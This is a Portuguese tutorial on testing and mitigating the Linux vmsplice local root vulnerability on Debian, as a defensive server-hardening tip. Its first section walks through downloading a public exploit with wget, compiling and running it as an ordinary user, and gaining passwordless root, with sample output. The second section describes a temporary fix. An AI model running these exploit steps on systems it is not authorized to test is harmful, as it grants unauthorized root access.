Explorando e resolvendo vulnerabilidade local no Kernel Linux
Colaboração: Pedro Al Pacheco
Esta dica é um resumo e serve para testar e solucionar a falha critica, baseado no alerta de segurança gerado pelo CAIS (CAIS Centro de Segurança
a Incidentes de Segurança ) utilizando a segunda opção - Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.
Testado na distribuição:Debian.
1. Como testar seu servidor:
O teste é feito baixando exploit de: wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
Após baixar compile com o comando (A compilação e execução das ações abaixo podem ser feitas como Root ou Usuário comum, foram testadas nas duas formas e foi obtido êxito) :
# gcc -o exploit 27704.c
Obs.: (gcc -o novo_nome_binario fonte_arquivo)
De permissão de execução do usuário.
chmod 777 exploit
Será criado um executável:
./exploit
Copie para a pasta do usuário local, ex.:
# cp exploit /home/pedro
Entre com o comando:
su nome_do_usuario_comum (Para logar como usuário comum).
Execute o binário:
./exploit
A saída deve ser a seguinte:
Linux vmsplice Local Root Exploit By qaaz —---- ------ ------ ------ ----------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7df6000 .. 0xb7e28000 [+] root
Depois você simplesmente digita o comando su -
e não será pedido senha
alguma para root e você terá acesso pleno ao servidor como usuário máximo.
2. Como vacinar seu servidor
Existem duas formas:
- Atualização o Kernel (Link de abordamento): http://www.securityfocus.com/bid/27704/solution
- Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema:
Baixe no link :
wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
Compile disable-vmsplice-if-exploitable.c:
# gcc -o desabilita-exp disable-vmsplice-if-exploitable.c
Obs.:(gcc -o novo_nome_binario fonte_arquivo)
Será gerado seguinte binário:
./desabilita-exp
Após a execução de ./desabilita-exp não terá mais problemas com a vulnerabilidade. A saída de execução será esta:
—---- ------ ------ ------ ----------- Linux vmsplice Local Root Exploit By qaaz —---- ------ ------ ------ ----------- Exploit gone!
Coloque na inicialização do Sistema Operacional onde você desejar:
Ex.: /etc/rc.local
ou no /etc/rcx.d
Reinicie o servidor e efetue os testes referenciados no item 1 .
Lembrando que esta medida é temporária sem a necessidade de compilar o kernel.
Fontes